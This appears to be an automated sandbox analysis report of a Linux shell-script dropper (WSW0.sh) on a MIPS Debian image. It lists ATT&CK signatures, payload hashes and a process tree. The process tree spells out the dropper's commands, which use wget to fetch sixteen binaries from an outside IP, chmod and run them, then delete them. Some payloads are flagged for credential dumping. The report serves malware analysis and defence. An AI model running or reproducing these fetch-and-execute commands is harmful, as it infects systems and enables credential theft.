Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25/09/2026, 22:44

General

  • Target
    WSW0.sh
  • Size 263B
  • Sample260925-2nxfhsaa96
  • SHA256 e6fc448db82da2649c7efe3ca6f408c0c5f83aaff89fc9fa1298af878f829b35
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 2 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:727
    • /bin/rm
      rm IPKC
      2⤵
      • System Network Configuration Discovery
      PID:729
    • /usr/bin/wget
      wget http://202.155.8.56/IPKC
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:732
    • /bin/chmod
      chmod +x IPKC
      2⤵
      • File and Directory Permissions Modification
      PID:750
    • /tmp/IPKC
      ./IPKC
      2⤵
      • System Network Configuration Discovery
      PID:751
    • /bin/rm
      rm GMXD
      2⤵
        PID:753
      • /usr/bin/wget
        wget http://202.155.8.56/GMXD
        2⤵
        • Writes file to tmp directory
        PID:755
      • /bin/chmod
        chmod +x GMXD
        2⤵
        • File and Directory Permissions Modification
        PID:757
      • /tmp/GMXD
        ./GMXD
        2⤵
        • OS Credential Dumping
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:758
        • /usr/local/sbin/uname
          uname -a
          3⤵
            PID:761
          • /usr/local/bin/uname
            uname -a
            3⤵
              PID:761
            • /usr/sbin/uname
              uname -a
              3⤵
                PID:761
              • /usr/bin/uname
                uname -a
                3⤵
                  PID:761
                • /sbin/uname
                  uname -a
                  3⤵
                    PID:761
                  • /bin/uname
                    uname -a
                    3⤵
                      PID:761
                  • /bin/rm
                    rm BXWD
                    2⤵
                      PID:760
                    • /usr/bin/wget
                      wget http://202.155.8.56/BXWD
                      2⤵
                      • Writes file to tmp directory
                      PID:762
                    • /bin/chmod
                      chmod +x BXWD
                      2⤵
                      • File and Directory Permissions Modification
                      PID:763
                    • /tmp/BXWD
                      ./BXWD
                      2⤵
                        PID:764
                      • /bin/rm
                        rm VMGX
                        2⤵
                          PID:766
                        • /usr/bin/wget
                          wget http://202.155.8.56/VMGX
                          2⤵
                          • Writes file to tmp directory
                          PID:767
                        • /bin/chmod
                          chmod +x VMGX
                          2⤵
                          • File and Directory Permissions Modification
                          PID:768
                        • /tmp/VMGX
                          ./VMGX
                          2⤵
                            PID:769
                          • /bin/rm
                            rm HTSX
                            2⤵
                              PID:771
                            • /usr/bin/wget
                              wget http://202.155.8.56/HTSX
                              2⤵
                              • Writes file to tmp directory
                              PID:772
                            • /bin/chmod
                              chmod +x HTSX
                              2⤵
                              • File and Directory Permissions Modification
                              PID:774
                            • /tmp/HTSX
                              ./HTSX
                              2⤵
                                PID:776
                              • /bin/rm
                                rm UFVS
                                2⤵
                                  PID:778
                                • /usr/bin/wget
                                  wget http://202.155.8.56/UFVS
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:779
                                • /bin/chmod
                                  chmod +x UFVS
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:790
                                • /tmp/UFVS
                                  ./UFVS
                                  2⤵
                                    PID:792
                                  • /bin/rm
                                    rm PZCA
                                    2⤵
                                      PID:795
                                    • /usr/bin/wget
                                      wget http://202.155.8.56/PZCA
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:797
                                    • /bin/chmod
                                      chmod +x PZCA
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:809
                                    • /tmp/PZCA
                                      ./PZCA
                                      2⤵
                                        PID:810
                                      • /bin/rm
                                        rm YNEP
                                        2⤵
                                          PID:812
                                        • /usr/bin/wget
                                          wget http://202.155.8.56/YNEP
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:815
                                        • /bin/chmod
                                          chmod +x YNEP
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:825
                                        • /tmp/YNEP
                                          ./YNEP
                                          2⤵
                                            PID:827
                                          • /bin/rm
                                            rm RJGU
                                            2⤵
                                              PID:829
                                            • /usr/bin/wget
                                              wget http://202.155.8.56/RJGU
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:831
                                            • /bin/chmod
                                              chmod +x RJGU
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:838
                                            • /tmp/RJGU
                                              ./RJGU
                                              2⤵
                                                PID:839
                                              • /bin/rm
                                                rm ETQU
                                                2⤵
                                                  PID:841
                                                • /usr/bin/wget
                                                  wget http://202.155.8.56/ETQU
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:842
                                                • /bin/chmod
                                                  chmod +x ETQU
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:843
                                                • /tmp/ETQU
                                                  ./ETQU
                                                  2⤵
                                                    PID:844
                                                  • /bin/rm
                                                    rm RPMK
                                                    2⤵
                                                      PID:846
                                                    • /usr/bin/wget
                                                      wget http://202.155.8.56/RPMK
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:847
                                                    • /bin/chmod
                                                      chmod +x RPMK
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:848
                                                    • /tmp/RPMK
                                                      ./RPMK
                                                      2⤵
                                                        PID:849
                                                      • /bin/rm
                                                        rm UIGP
                                                        2⤵
                                                          PID:851
                                                        • /usr/bin/wget
                                                          wget http://202.155.8.56/UIGP
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:852
                                                        • /bin/chmod
                                                          chmod +x UIGP
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:853
                                                        • /tmp/UIGP
                                                          ./UIGP
                                                          2⤵
                                                            PID:854
                                                          • /bin/rm
                                                            rm YIJV
                                                            2⤵
                                                              PID:858
                                                            • /usr/bin/wget
                                                              wget http://202.155.8.56/YIJV
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:859
                                                            • /bin/chmod
                                                              chmod +x YIJV
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:880
                                                            • /tmp/YIJV
                                                              ./YIJV
                                                              2⤵
                                                              • OS Credential Dumping
                                                              • Checks CPU configuration
                                                              • Writes file to tmp directory
                                                              PID:882
                                                              • /usr/local/sbin/uname
                                                                uname -a
                                                                3⤵
                                                                  PID:886
                                                                • /usr/local/bin/uname
                                                                  uname -a
                                                                  3⤵
                                                                    PID:886
                                                                  • /usr/sbin/uname
                                                                    uname -a
                                                                    3⤵
                                                                      PID:886
                                                                    • /usr/bin/uname
                                                                      uname -a
                                                                      3⤵
                                                                        PID:886
                                                                      • /sbin/uname
                                                                        uname -a
                                                                        3⤵
                                                                          PID:886
                                                                        • /bin/uname
                                                                          uname -a
                                                                          3⤵
                                                                            PID:886
                                                                        • /bin/rm
                                                                          rm XCRW
                                                                          2⤵
                                                                            PID:884
                                                                          • /usr/bin/wget
                                                                            wget http://202.155.8.56/XCRW
                                                                            2⤵
                                                                            • Writes file to tmp directory
                                                                            PID:887
                                                                          • /bin/chmod
                                                                            chmod +x XCRW
                                                                            2⤵
                                                                            • File and Directory Permissions Modification
                                                                            PID:894
                                                                          • /tmp/XCRW
                                                                            ./XCRW
                                                                            2⤵
                                                                              PID:895
                                                                            • /bin/rm
                                                                              rm VKGK
                                                                              2⤵
                                                                                PID:897
                                                                              • /usr/bin/wget
                                                                                wget http://202.155.8.56/VKGK
                                                                                2⤵
                                                                                • Writes file to tmp directory
                                                                                PID:898
                                                                              • /bin/chmod
                                                                                chmod +x VKGK
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:899
                                                                              • /tmp/VKGK
                                                                                ./VKGK
                                                                                2⤵
                                                                                  PID:900
                                                                                • /bin/rm
                                                                                  rm NXIU
                                                                                  2⤵
                                                                                    PID:902
                                                                                  • /usr/bin/wget
                                                                                    wget http://202.155.8.56/NXIU
                                                                                    2⤵
                                                                                    • Writes file to tmp directory
                                                                                    PID:903
                                                                                  • /bin/chmod
                                                                                    chmod +x NXIU
                                                                                    2⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:904
                                                                                  • /tmp/NXIU
                                                                                    ./NXIU
                                                                                    2⤵
                                                                                      PID:905
                                                                                    • /bin/rm
                                                                                      rm -rf IPKC
                                                                                      2⤵
                                                                                      • System Network Configuration Discovery
                                                                                      PID:907
                                                                                    • /bin/rm
                                                                                      rm -rf GMXD
                                                                                      2⤵
                                                                                        PID:908
                                                                                      • /bin/rm
                                                                                        rm -rf BXWD
                                                                                        2⤵
                                                                                          PID:909
                                                                                        • /bin/rm
                                                                                          rm -rf VMGX
                                                                                          2⤵
                                                                                            PID:910
                                                                                          • /bin/rm
                                                                                            rm -rf HTSX
                                                                                            2⤵
                                                                                              PID:911
                                                                                            • /bin/rm
                                                                                              rm -rf UFVS
                                                                                              2⤵
                                                                                                PID:912
                                                                                              • /bin/rm
                                                                                                rm -rf PZCA
                                                                                                2⤵
                                                                                                  PID:913
                                                                                                • /bin/rm
                                                                                                  rm -rf YNEP
                                                                                                  2⤵
                                                                                                    PID:914
                                                                                                  • /bin/rm
                                                                                                    rm -rf RJGU
                                                                                                    2⤵
                                                                                                      PID:915
                                                                                                    • /bin/rm
                                                                                                      rm -rf ETQU
                                                                                                      2⤵
                                                                                                        PID:916
                                                                                                      • /bin/rm
                                                                                                        rm -rf RPMK
                                                                                                        2⤵
                                                                                                          PID:917
                                                                                                        • /bin/rm
                                                                                                          rm -rf UIGP
                                                                                                          2⤵
                                                                                                            PID:918
                                                                                                          • /bin/rm
                                                                                                            rm -rf YIJV
                                                                                                            2⤵
                                                                                                              PID:919
                                                                                                            • /bin/rm
                                                                                                              rm -rf XCRW
                                                                                                              2⤵
                                                                                                                PID:920
                                                                                                              • /bin/rm
                                                                                                                rm -rf VKGK
                                                                                                                2⤵
                                                                                                                  PID:921
                                                                                                                • /bin/rm
                                                                                                                  rm -rf NXIU
                                                                                                                  2⤵
                                                                                                                    PID:922
                                                                                                                  • /bin/rm
                                                                                                                    rm /tmp/WSW0.sh
                                                                                                                    2⤵
                                                                                                                      PID:923

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        .qvglSXYt

                                                                                                                        • Path /tmp/.qvglSXYt
                                                                                                                        • Size 18B
                                                                                                                        • SHA256 9b3c283000c377cc7bf45d36fb06a3193a2eb68686c22640884b712c01b3867e
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        .qvglSXYt

                                                                                                                        • Path /tmp/.qvglSXYt
                                                                                                                        • Size 14B
                                                                                                                        • SHA256 0e00356f5215e66f75da213bf17ddb7cb0df6da441fce9d4bd2e2c493f809a99
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        BXWD

                                                                                                                        • Path /tmp/BXWD
                                                                                                                        • Size 109KB
                                                                                                                        • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        ETQU

                                                                                                                        • Path /tmp/ETQU
                                                                                                                        • Size 125KB
                                                                                                                        • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        GMXD

                                                                                                                        • Path /tmp/GMXD
                                                                                                                        • Size 200KB
                                                                                                                        • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        HTSX

                                                                                                                        • Path /tmp/HTSX
                                                                                                                        • Size 105KB
                                                                                                                        • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        IPKC

                                                                                                                        • Path /tmp/IPKC
                                                                                                                        • Size 125KB
                                                                                                                        • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        NXIU

                                                                                                                        • Path /tmp/NXIU
                                                                                                                        • Size 126KB
                                                                                                                        • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        PZCA

                                                                                                                        • Path /tmp/PZCA
                                                                                                                        • Size 154KB
                                                                                                                        • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        RJGU

                                                                                                                        • Path /tmp/RJGU
                                                                                                                        • Size 86KB
                                                                                                                        • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        RPMK

                                                                                                                        • Path /tmp/RPMK
                                                                                                                        • Size 193KB
                                                                                                                        • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        UFVS

                                                                                                                        • Path /tmp/UFVS
                                                                                                                        • Size 105KB
                                                                                                                        • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        UIGP

                                                                                                                        • Path /tmp/UIGP
                                                                                                                        • Size 121KB
                                                                                                                        • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        VKGK

                                                                                                                        • Path /tmp/VKGK
                                                                                                                        • Size 125KB
                                                                                                                        • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        VMGX

                                                                                                                        • Path /tmp/VMGX
                                                                                                                        • Size 129KB
                                                                                                                        • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        XCRW

                                                                                                                        • Path /tmp/XCRW
                                                                                                                        • Size 193KB
                                                                                                                        • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        YIJV

                                                                                                                        • Path /tmp/YIJV
                                                                                                                        • Size 167KB
                                                                                                                        • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        YNEP

                                                                                                                        • Path /tmp/YNEP
                                                                                                                        • Size 129KB
                                                                                                                        • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH